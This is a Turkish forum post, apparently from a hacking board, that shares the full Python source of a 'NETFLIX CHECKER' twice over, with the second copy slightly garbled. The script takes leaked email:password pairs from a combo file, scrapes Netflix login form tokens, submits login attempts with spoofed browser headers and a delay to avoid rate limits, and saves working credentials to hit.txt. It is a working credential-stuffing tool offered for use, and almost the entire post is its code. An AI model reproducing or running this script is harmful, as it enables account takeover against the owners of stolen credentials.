Quantix
Platinum Üye
- Katılım
- 26 Tem 2025
- Mesajlar
- 202
- Beğeniler
- 32
import json
import time
import os
import sys
import requests
from datetime import datetime
from colorama import init, Fore, Back, Style
import random
from pyfiglet import Figlet
import re
# Colorama'yı başlat
init(autoreset=True)
DEBUG = True # Debug modunu aç/kapat
def debug_log(msg):
if DEBUG:
with open('debug.txt', 'a', encoding='utf-8') as f:
f.write(msg + '\n')
# Config dosyasını oku
with open('config.json', 'r', encoding='utf-8') as f:
config = json.load(f)
COUNTRY = config.get('country', 'tr')
BASE_URL = f'
LOGIN_URL = f'{BASE_URL}/login'
BROWSE_URL = f'{BASE_URL}/browse'
# Sayaçlar
hit = 0
bad = 0
retries = 0
# Oturum oluştur
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Cache-Control': 'max-age=0',
})
# ASCII başlık oluştur
def print_ascii_art():
f = Figlet(font='slant')
ascii_art = f.renderText('NETFLIX CHECKER')
colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
colored_art = ""
for line in ascii_art.split('\n'):
colored_art += random.choice(colors) + line + '\n'
print(colored_art)
# Animasyonlu yükleme çubuğu
def loading_animation():
for i in range(3):
for char in '|/-\\':
sys.stdout.write(Fore.YELLOW + '\rChecking ' + char + ' ')
sys.stdout.flush()
time.sleep(0.1)
# Renkli status bar
def print_status():
os.system('cls' if os.name == 'nt' else 'clear')
print_ascii_art()
hit_color = Fore.GREEN + Style.BRIGHT
bad_color = Fore.RED + Style.BRIGHT
retry_color = Fore.YELLOW + Style.BRIGHT
# Kutu çizimi
box_top = "╔" + "═"*50 + "╗"
box_middle = "║" + " "*50 + "║"
box_bottom = "╚" + "═"*50 + "╝"
print(Fore.CYAN + box_top)
print(Fore.CYAN + box_middle)
stats = f"║ {Fore.WHITE}HIT: {hit_color}{hit}{Fore.WHITE} | BAD: {bad_color}{bad}{Fore.WHITE} | RETRY: {retry_color}{retries}{Fore.WHITE} ║"
centered_stats = stats.center(54)
print(Fore.CYAN + centered_stats)
current_time = datetime.now().strftime("%H:%M:%S")
time_display = f"║ {Fore.WHITE}Time: {Fore.MAGENTA}{current_time}{Fore.WHITE} ║"
centered_time = time_display.center(54)
print(Fore.CYAN + centered_time)
print(Fore.CYAN + box_middle)
print(Fore.CYAN + box_bottom)
# Alt bilgi
print(f"\n{Fore.WHITE}Checking Netflix accounts... {Style.DIM}(Press Ctrl+C to exit)")
def get_auth_cookies():
"""Netflix'ten gerekli auth cookie'lerini al"""
try:
response = session.get(BASE_URL, timeout=10)
if 'Netflix' not in response.text:
debug_log("Ana sayfa yüklenemedi")
return False
# Netflix'in beklediği cookie'leri kontrol et
required_cookies = ['nfvdid', 'memclid']
for cookie in required_cookies:
if cookie not in session.cookies.get_dict():
debug_log(f"Gerekli cookie eksik: {cookie}")
return True
except Exception as e:
debug_log(f"Auth cookie alınırken hata: {str(e)}")
return False
def check_account(email, password):
global hit, bad, retries
debug_log(f"\n---\nChecking: {email}:{password}")
# Her hesap için yeni oturum başlat
session.cookies.clear()
if not get_auth_cookies():
retries += 1
return 'retry'
try:
# Login sayfasını al
login_page = session.get(LOGIN_URL, timeout=10)
if login_page.status_code != 200:
debug_log(f"Login sayfası alınamadı: {login_page.status_code}")
retries += 1
return 'retry'
# Gizli form alanlarını çıkar
auth_token_match = re.search(r'name="authURL" value="([^"]+)"', login_page.text)
flow_match = re.search(r'name="flow" value="([^"]+)"', login_page.text)
mode_match = re.search(r'name="mode" value="([^"]+)"', login_page.text)
action_match = re.search(r'name="action" value="([^"]+)"', login_page.text)
if not all([auth_token_match, flow_match, mode_match, action_match]):
debug_log("Form alanları bulunamadı")
retries += 1
return 'retry'
# Login verilerini hazırla
login_data = {
'userLoginId': email,
'password': password,
'rememberMe': 'true',
'flow': flow_match.group(1),
'mode': mode_match.group(1),
'action': action_match.group(1),
'withFields': 'userLoginId,password,rememberMe,nextPage',
'authURL': auth_token_match.group(1),
'nextPage': '',
'showPassword': ''
}
# Giriş isteği gönder
response = session.post(
LOGIN_URL,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': LOGIN_URL,
'Origin': BASE_URL
},
data=login_data,
allow_redirects=False,
timeout=15
)
debug_log(f"Response status: {response.status_code}")
# Başarılı giriş kontrolü (302 yönlendirme)
if response.status_code == 302:
location = response.headers.get('Location', '')
if '/browse' in location or '/SwitchProfile' in location:
# Profil seçme ekranı kontrolü
profile_check = session.get(BROWSE_URL, timeout=10)
if profile_check.status_code == 200:
profile_keywords = [
'profile-gate-label',
'profile-choices-page',
'profile-icon',
'list-profiles-container',
'choose-profile'
]
if any(keyword in profile_check.text for keyword in profile_keywords):
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (profil seçme ekranı)")
return 'hit'
elif '/browse' in profile_check.url:
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (doğrudan giriş)")
return 'hit'
# Hata mesajı kontrolü
if response.status_code == 200:
error_messages = [
'Bu e-posta adresi ile bağlantılı bir hesap bulamadık',
'parola yanlış',
'Lütfen geçerli bir tel no veya e-posta adresi girin',
'Sorry, we can\'t find an account with this email address',
'Incorrect password'
]
for msg in error_messages:
if msg in response.text:
bad += 1
with open('bad.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log(f"Sonuç: BAD ({msg})")
return 'bad'
# Diğer durumlar
retries += 1
debug_log("Sonuç: RETRY (bilinmeyen durum)")
debug_log(f"Response text (ilk 500 karakter):\n{response.text[:500]}")
return 'retry'
except requests.exceptions.RequestException as e:
retries += 1
debug_log(f"RequestException: {str(e)}")
return 'retry'
except Exception as e:
retries += 1
debug_log(f"Exception: {str(e)}")
return 'retry'
def main():
global hit, bad, retries
if not os.path.exists('combo.txt'):
print(f'{Fore.RED}combo.txt bulunamadı!{Fore.RESET}')
return
with open('combo.txt', 'r', encoding='utf-8') as f:
combos = [line.strip() for line in f if line.strip()]
print_status()
for combo in combos:
if ':' not in combo:
continue
email, password = combo.split(':', 1)
# Animasyonlu yükleme efekti
loading_animation()
result = check_account(email, password)
# Sonuç renklendirme
if result == 'hit':
print(f'\n{Fore.GREEN}✓ HIT: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
elif result == 'bad':
print(f'\n{Fore.RED}✗ BAD: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
else:
print(f'\n{Fore.YELLOW}↻ RETRY: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
print_status()
time.sleep(0.8) # Netflix rate limit koruması
# Bitirme mesajı
print(f"\n{Fore.GREEN}╔══════════════════════════════════════╗")
print(f"║ {Fore.WHITE}İşlem tamamlandı!{Fore.GREEN} ║")
print(f"╚══════════════════════════════════════╝{Fore.RESET}")
if __name__ == '__main__':
main() iyi kuanmalar
import time
import os
import sys
import requests
from datetime import datetime
from colorama import init, Fore, Back, Style
import random
from pyfiglet import Figlet
import re
# Colorama'yı başlat
init(autoreset=True)
DEBUG = True # Debug modunu aç/kapat
def debug_log(msg):
if DEBUG:
with open('debug.txt', 'a', encoding='utf-8') as f:
f.write(msg + '\n')
# Config dosyasını oku
with open('config.json', 'r', encoding='utf-8') as f:
config = json.load(f)
COUNTRY = config.get('country', 'tr')
BASE_URL = f'
Linkleri görebilmek için kayıt olmanız gerekmektedir
{COUNTRY}'LOGIN_URL = f'{BASE_URL}/login'
BROWSE_URL = f'{BASE_URL}/browse'
# Sayaçlar
hit = 0
bad = 0
retries = 0
# Oturum oluştur
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Cache-Control': 'max-age=0',
})
# ASCII başlık oluştur
def print_ascii_art():
f = Figlet(font='slant')
ascii_art = f.renderText('NETFLIX CHECKER')
colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
colored_art = ""
for line in ascii_art.split('\n'):
colored_art += random.choice(colors) + line + '\n'
print(colored_art)
# Animasyonlu yükleme çubuğu
def loading_animation():
for i in range(3):
for char in '|/-\\':
sys.stdout.write(Fore.YELLOW + '\rChecking ' + char + ' ')
sys.stdout.flush()
time.sleep(0.1)
# Renkli status bar
def print_status():
os.system('cls' if os.name == 'nt' else 'clear')
print_ascii_art()
hit_color = Fore.GREEN + Style.BRIGHT
bad_color = Fore.RED + Style.BRIGHT
retry_color = Fore.YELLOW + Style.BRIGHT
# Kutu çizimi
box_top = "╔" + "═"*50 + "╗"
box_middle = "║" + " "*50 + "║"
box_bottom = "╚" + "═"*50 + "╝"
print(Fore.CYAN + box_top)
print(Fore.CYAN + box_middle)
stats = f"║ {Fore.WHITE}HIT: {hit_color}{hit}{Fore.WHITE} | BAD: {bad_color}{bad}{Fore.WHITE} | RETRY: {retry_color}{retries}{Fore.WHITE} ║"
centered_stats = stats.center(54)
print(Fore.CYAN + centered_stats)
current_time = datetime.now().strftime("%H:%M:%S")
time_display = f"║ {Fore.WHITE}Time: {Fore.MAGENTA}{current_time}{Fore.WHITE} ║"
centered_time = time_display.center(54)
print(Fore.CYAN + centered_time)
print(Fore.CYAN + box_middle)
print(Fore.CYAN + box_bottom)
# Alt bilgi
print(f"\n{Fore.WHITE}Checking Netflix accounts... {Style.DIM}(Press Ctrl+C to exit)")
def get_auth_cookies():
"""Netflix'ten gerekli auth cookie'lerini al"""
try:
response = session.get(BASE_URL, timeout=10)
if 'Netflix' not in response.text:
debug_log("Ana sayfa yüklenemedi")
return False
# Netflix'in beklediği cookie'leri kontrol et
required_cookies = ['nfvdid', 'memclid']
for cookie in required_cookies:
if cookie not in session.cookies.get_dict():
debug_log(f"Gerekli cookie eksik: {cookie}")
return True
except Exception as e:
debug_log(f"Auth cookie alınırken hata: {str(e)}")
return False
def check_account(email, password):
global hit, bad, retries
debug_log(f"\n---\nChecking: {email}:{password}")
# Her hesap için yeni oturum başlat
session.cookies.clear()
if not get_auth_cookies():
retries += 1
return 'retry'
try:
# Login sayfasını al
login_page = session.get(LOGIN_URL, timeout=10)
if login_page.status_code != 200:
debug_log(f"Login sayfası alınamadı: {login_page.status_code}")
retries += 1
return 'retry'
# Gizli form alanlarını çıkar
auth_token_match = re.search(r'name="authURL" value="([^"]+)"', login_page.text)
flow_match = re.search(r'name="flow" value="([^"]+)"', login_page.text)
mode_match = re.search(r'name="mode" value="([^"]+)"', login_page.text)
action_match = re.search(r'name="action" value="([^"]+)"', login_page.text)
if not all([auth_token_match, flow_match, mode_match, action_match]):
debug_log("Form alanları bulunamadı")
retries += 1
return 'retry'
# Login verilerini hazırla
login_data = {
'userLoginId': email,
'password': password,
'rememberMe': 'true',
'flow': flow_match.group(1),
'mode': mode_match.group(1),
'action': action_match.group(1),
'withFields': 'userLoginId,password,rememberMe,nextPage',
'authURL': auth_token_match.group(1),
'nextPage': '',
'showPassword': ''
}
# Giriş isteği gönder
response = session.post(
LOGIN_URL,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': LOGIN_URL,
'Origin': BASE_URL
},
data=login_data,
allow_redirects=False,
timeout=15
)
debug_log(f"Response status: {response.status_code}")
# Başarılı giriş kontrolü (302 yönlendirme)
if response.status_code == 302:
location = response.headers.get('Location', '')
if '/browse' in location or '/SwitchProfile' in location:
# Profil seçme ekranı kontrolü
profile_check = session.get(BROWSE_URL, timeout=10)
if profile_check.status_code == 200:
profile_keywords = [
'profile-gate-label',
'profile-choices-page',
'profile-icon',
'list-profiles-container',
'choose-profile'
]
if any(keyword in profile_check.text for keyword in profile_keywords):
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (profil seçme ekranı)")
return 'hit'
elif '/browse' in profile_check.url:
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (doğrudan giriş)")
return 'hit'
# Hata mesajı kontrolü
if response.status_code == 200:
error_messages = [
'Bu e-posta adresi ile bağlantılı bir hesap bulamadık',
'parola yanlış',
'Lütfen geçerli bir tel no veya e-posta adresi girin',
'Sorry, we can\'t find an account with this email address',
'Incorrect password'
]
for msg in error_messages:
if msg in response.text:
bad += 1
with open('bad.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log(f"Sonuç: BAD ({msg})")
return 'bad'
# Diğer durumlar
retries += 1
debug_log("Sonuç: RETRY (bilinmeyen durum)")
debug_log(f"Response text (ilk 500 karakter):\n{response.text[:500]}")
return 'retry'
except requests.exceptions.RequestException as e:
retries += 1
debug_log(f"RequestException: {str(e)}")
return 'retry'
except Exception as e:
retries += 1
debug_log(f"Exception: {str(e)}")
return 'retry'
def main():
global hit, bad, retries
if not os.path.exists('combo.txt'):
print(f'{Fore.RED}combo.txt bulunamadı!{Fore.RESET}')
return
with open('combo.txt', 'r', encoding='utf-8') as f:
combos = [line.strip() for line in f if line.strip()]
print_status()
for combo in combos:
if ':' not in combo:
continue
email, password = combo.split(':', 1)
# Animasyonlu yükleme efekti
loading_animation()
result = check_account(email, password)
# Sonuç renklendirme
if result == 'hit':
print(f'\n{Fore.GREEN}✓ HIT: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
elif result == 'bad':
print(f'\n{Fore.RED}✗ BAD: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
else:
print(f'\n{Fore.YELLOW}↻ RETRY: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
print_status()
time.sleep(0.8) # Netflix rate limit koruması
# Bitirme mesajı
print(f"\n{Fore.GREEN}╔══════════════════════════════════════╗")
print(f"║ {Fore.WHITE}İşlem tamamlandı!{Fore.GREEN} ║")
print(f"╚══════════════════════════════════════╝{Fore.RESET}")
if __name__ == '__main__':
main() iyi kuanmalar